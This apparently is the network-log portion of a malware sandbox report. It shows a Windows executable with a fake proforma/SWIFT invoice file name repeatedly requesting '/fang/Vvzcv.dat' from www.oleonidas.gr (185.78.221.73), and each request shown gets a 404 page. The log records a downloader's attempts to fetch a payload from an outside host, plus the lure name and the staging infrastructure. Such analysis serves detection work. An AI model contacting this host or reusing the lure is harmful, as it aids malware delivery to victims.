2024-11-24 15:41:15 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49909	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:17 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:17 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:17 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:17 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49915	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:19 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:20 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:19 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:20 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49920	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:21 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:22 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:21 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:22 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49926	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:23 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:24 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:24 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:24 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49932	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:25 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:26 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:26 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:26 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49936	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:27 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49940	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:29 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:30 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:29 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:30 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49946	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:31 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:32 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:31 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:32 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49952	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:33 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:34 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:34 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:34 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49958	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:36 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:36 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:36 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:36 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49964	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:38 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:38 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:38 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:38 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49970	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:40 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:40 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:40 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:40 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49976	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:42 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:43 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:42 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:43 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49982	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:44 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:45 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:45 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
